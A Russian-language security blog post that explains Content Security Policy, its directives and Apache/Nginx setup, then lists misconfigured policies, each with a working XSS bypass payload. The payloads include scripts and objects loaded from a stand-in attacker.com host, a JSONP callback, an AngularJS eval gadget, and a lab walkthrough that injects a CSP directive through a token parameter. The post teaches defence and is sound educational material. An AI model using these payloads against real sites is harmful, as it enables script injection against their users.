October 31, 2023

Content Security Policy

Что такое CSP?

Content-Security-Policy или CSP — это встроенная технология браузера, которая помогает защитить от атак, таких как межсайтовый скриптинг (XSS) . Она перечисляет и описывает пути и источники, из которых браузер может безопасно загружать ресурсы. Ресурсы могут включать изображения, фреймы, JavaScript и многое другое.

Политика CSP может предписать браузерам выполнять код только из определенных источников, тем самым обеспечивая дополнительный уровень защиты от XSS-атак.

Однако существуют некоторые обстоятельства, при которых политику CSP можно обойти. В этой статье будут рассмотрены примеры, как можно обойти политику CSP, например, с помощью инъекции и использования дополнительной директивы.

Как это работает?

Обнаружить политику безопасного контента можно через заголовок ответа:

Content-Security-Policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Реализовано через мета-тег:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Давайте взглянем на простой пример использования CSP. Запрос с полезной нагрузкой XSS:

GET /lab/id/?search=search<script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1

И ответ с полезной нагрузкой вернулся дословно и js исполнился на странице:

Теперь давайте попробуем митигировать уязвимость с помощью CSP. В рамках исправления мы добавляем заголовок ответа Content-Security-Policy в качестве защиты от любых XSS-уязвимостей на нашем сайте. Также вносим example.com в белый список.

Так выглядит ответ в случае настроенного CSP, и скрипт не исполняется:

Теперь мы видим, что благодаря CSP полезная нагрузка больше не выполняется. Также при блокировке исполнения скрипта можно обратить внимание на оповещение в консоли браузера:

Определение ресурсов

CSP работает так, что, ограничивает источники, из которых может быть загружен динамический и статический контент. Он может дополнительно ограничивать определенные аспекты активного контента, такие как выполнение встроенного JavaScript и использование файлов eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Можно проверить настройку CSP на безопасность с помощью этого ресурса:

В чем смысл директив?

script-src

Директива указывает, откуда можно загружать JavaScript-код. Это включает не только прямые загрузки с веб-страниц, но и код, который встраивается в элементы HTML (например, в обработчики событий) или загружается из таблиц стилей XSLT.

Разрешить загрузку JavaScript-файлов только с текущего домена:

script-src 'self';

Разрешить загрузку JavaScript-файлов только с домена example.com:

script-src https://example.com;

Разрешить загрузку JavaScript-файлов с домена example.com и его поддоменов:

script-src https://example.com https://*.example.com/;

Разрешить загрузку JavaScript-файлов с домена example.com и домена google.com:

script-src https://example.com https://google.com;
Данные примеры отражают способы настройки большинства директив, и применимы к другим директивам

default-src

Директива определяет политику загрузки ресурсов по умолчанию. Если в заголовке CSP отсутствуют директивы загрузки, браузер по умолчанию следует этой директиве.

Разрешить загрузку всех ресурсов по умолчанию:

default-src *;

Запретить загрузку всех ресурсов по умолчанию:

default-src 'none';

child-src

Директива определяет разрешенные ресурсы для веб-воркеров и содержимого встраиваемых фреймов. Работает примерно также как и script-src.

connect-src

Директива ограничивает URL-адреса, которые могут быть загружены с использованием таких интерфейсов, как fetch, websocket и XMLHttpRequest.

frame-src

Директива frame-src ограничивает URL-адреса фреймов, которые могут быть вызваны.

frame-ancestors

Директива указывает источники, которые могут встраивать текущую страницу. Эта директива применяется к элементам <frame>, <iframe>, <object>, <embed> или <applet>. Эту директиву нельзя использовать в тегах <html> и <head>, и она применяется только к не-HTML-ресурсам.

img-src

Определяет разрешенные источники для загрузки изображений на веб-странице.

Источники

wildcard *

Данный символ в настройке директивы используется, чтобы указать, что разрешено любое значение.

self

Определяет, что загрузка ресурсов на странице разрешена с того же домена.

data

Разрешает загрузку ресурсов через схему data (например, Base64-кодированных изображений).

none

Запрещает загрузку чего-либо из любого источника.

unsafe-eval

Разрешает браузеру выполнять код, который был получен из строки. Это может быть опасно, поскольку позволяет внедрить в веб-страницу вредоносный код.

unsafe-hashes

Позволяет браузеру загружать и выполнять только те встроенные скрипты и стили, у которых есть хэш, который соответствует хэшу, указанному в политике. Обработчики событий, такие как onclick или onmouseover, не будут загружены и выполнены, даже если у них есть хэш.

unsafe-inline

Разрешает использование встроенных ресурсов, таких как встроенные элементы, URL-адреса javascript:, встроенные обработчики событий и встроенные элементы. Опять же, это не рекомендуется по соображениям безопасности.

nonce

Белый список для определенных встроенных скриптов, использующих криптографический nonce (случайное число, используемое один раз). Сервер должен генерировать уникальное значение nonce каждый раз, когда он передает политику.

strict-dynamic

Разрешить загрузку скриптов из источников, которые уже были проверены и признаны доверенными.

Если вам нужно изучить специфичные настройки CSP и директивы подробнее, то можно воспользоваться данным ресурсом:

Как настроить CSP?

Для настройки CSP в конфигурации сервера вам нужно добавить политику CSP в заголовки HTTP-ответов для вашего веб-сайта.

Общие рекомендации по настройке CSP:

  1. Определите директивы и ресурсы для вашей политики, используйте ограничения по мере их необходимости.
  2. Используйте политику CSP вместе с другими мерами защиты, например nonce и HTTP Strict Transport Security.
  3. Добавьте политику CSP в заголовки HTTP-ответов для вашего веб-сайта.
  4. Проверьте, работает ли политика CSP правильно.

Данный пример будет загружать и выполнять только скрипты и стили из определенных доменов (example.com):

Content-Security-Policy: script-src https://example.com; style-src https://example.com;

Apache

Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Apache:

<VirtualHost *:80>
ServerName example.com
DocumentRoot /var/www/example.com
Header always set Content-Security-Policy "script-src https://example.com; style-src https://example.com;"
</VirtualHost>

Для конкретной страницы:

<Location /about>
Header always set Content-Security-Policy "script-src 'self'; style-src 'self';"
</Location>
</VirtualHost>

Nginx

Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Nginx:

server {
  listen 80;
  server_name example.com;
  root /var/www/example.com;

  add_header Content-Security-Policy "script-src https://example.com; style-src https://example.com;" always;
}

Для конкретной страницы:

location /about {
add_header Content-Security-Policy "script-src https://example.com; style-src https://example.com;" always;
}

Рекомендую сначала применить  заголовок Content-Security-Policy-Report-Only. Этот заголовок не будет блокировать нарушения, а будет только сообщать о них.

Это позволит сначала определить заголовок CSP, а затем спокойно просматривать веб-сайт и обрабатывать нарушения CSP, не влияя на функциональность веб-сайта. В качестве отправной точки можно использовать следующую настройку:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri website.nl/api/post/csp-violations;

Каждый раз, когда запрошенный ресурс будет нарушать CSP, браузер будет отправлять POST-запрос на URL-адрес, указанный для отчета и будет включать подробную информацию о нарушении. Таким образом, вы сможете узнать, когда CSP излишне блокирует ресурсы, а также узнаете, когда кто-то пытается внедрить что-то на ваш сайт.

Если у вас уже есть хорошее представление о том, как должен выглядеть ваш CSP, его также можно создать с помощью этого сайта.

Уязвимые настройки

Вы можете использовать данный код для проверки политик CSP.
Передаю привет моим коллегам SidneyJob иcyrus_0x00, спасибо за помощь!

'unsafe-inline'

CSP:

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Уязвимость в данной политике заключается в использовании значения 'unsafe inline' в качестве значения директивы script-src.

Paylod:

"/><script>alert(1);</script>

'data'

CSP:

Content-Security-Policy: script-src 'self' data:; object-src 'none'

Можно внедрить вредоносный код, используя тег script с атрибутом src со значением, указывающим на вредоносный ресурс, который начинается с data:.

Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Wildcard

CSP:

Content-Security-Policy: script-src *; object-src 'none'

Неправильно настроенная политика CSP из-за использования знака "*" в директиве script-src.

Payload:

<script src="http://attacker.com/j.js"></script>

File Upload + 'self'

CSP:

Content-Security-Policy: script-src 'self'; object-src 'none' ;

Мы видим, что object-src установлен на none, но эта данная директива все равно может быть обойдена для выполнения XSS-атаки.

В случаях если приложение позволяет пользователям загружать на хост любые типы файлов. Атакующий может загрузить любой вредоносный скрипт и вызвать его в любом теге.

Payload:

"/>'><script src="/uploads/payload.js"></script>

Third Party Endpoints + JSONP

CSP:

Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none';

В случаях, когда script-src установлен на self и определенный домен находится в белом списке, его можно обойти с помощью JSONP. Конечные точки JSONP допускают небезопасные методы обратного вызова, которые позволяют злоумышленнику выполнять XSS-атаки.

Полезные нагрузки для обхода

Payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

Third Party Endpoints + 'unsafe-eval'

CSP:

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Payload:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

'object-src'

CSP:

Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;

В случаях когда отсутствует директива object-src, остаётся возможность подгрузить объект с другого ресурса и скрипт исполнится.

Payload:

<object type="text/html" data="http://attacker/payload.html"></object>

Практические пример из лабораторной

Reflected XSS protected by CSP, with CSP bypass

В лабораторной нас встречает функциональность поиска по сайту:

Используем полезную нагрузку, для проверки на уязвимость XSS:

<script>alert(1)</script>

Полезная нагрузка внедряется, но CSP мешает выполнению скрипта, и необходимо определить как именно можно обойти данное ограничение.

Посмотрим как выглядит настройка CSP и определим, какие у нас есть ограничения:

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

Можно заметить, что в настройке CSP есть параметр token, и можно попробовать передать инъекцию с его помощью, добавив параметр в URL.

Так как сервер добавляет параметр token в ответ на запрос, у нас есть возможность добавить новую директиву CSP, чтобы попробовать обойти ограничения.

Исполнение нашего скрипта было заблокировано настройкой script-src 'self'.

<script>alert(1)</script>&token=qweqwe

Попробуем добавить новую настройку CSP, чтобы исполнялись inline-скрипты.

default-src 'self' работает так что применяются самые строгие ограничения

Изменим полезную нагрузку и попробуем добавить вторую директиву script-src:

<script>alert(1)</script>&token=;script-src 'unsafe-inline'

Но из-за того, что одна директива CSP может встречаться только один раз, скрипт не отрабатывает, в данном случае можно воспользоваться данным ресурсом, чтобы узнать какие бывают дополнительные директивы у CSP

Здесь можно найти директиву script-src-elem, которая работает примерно также как и script-src

В результате мы можем сформировать итоговую полезную нагрузку:

<script>alert(1)</script>&token=; script-src-elem 'unsafe-inline'

Рекомендации по устранению

Использовать CSP с директивой nonce для всех скриптов. Это предотвратит загрузку скриптов из внешних источников, которые не были предварительно подписаны.

Использовать CSP с директивой strict-dynamic для всех скриптов. Это предотвратит загрузку новых скриптов в DOM, которые не были предварительно включены в белый список.

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self' nonce-<nonce-value>; style-src 'self'; report-uri /csp-report

Использовать CSP с директивой frame-ancestors для ограничения источников, из которых могут быть загружены iframe-элементы. Это предотвратит загрузку iframe-элементов из внешних источников, которые могут быть использованы для обхода CSP.

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self' nonce-<nonce-value> strict-dynamic; style-src 'self'; report-uri /csp-report

В дополнение к этим рекомендациям, важно также правильно обрабатывать вводимые пользователем данные. Это включает в себя фильтрацию всех данных из форм, заголовков HTTP и других источников.

Немного юмора от моих коллег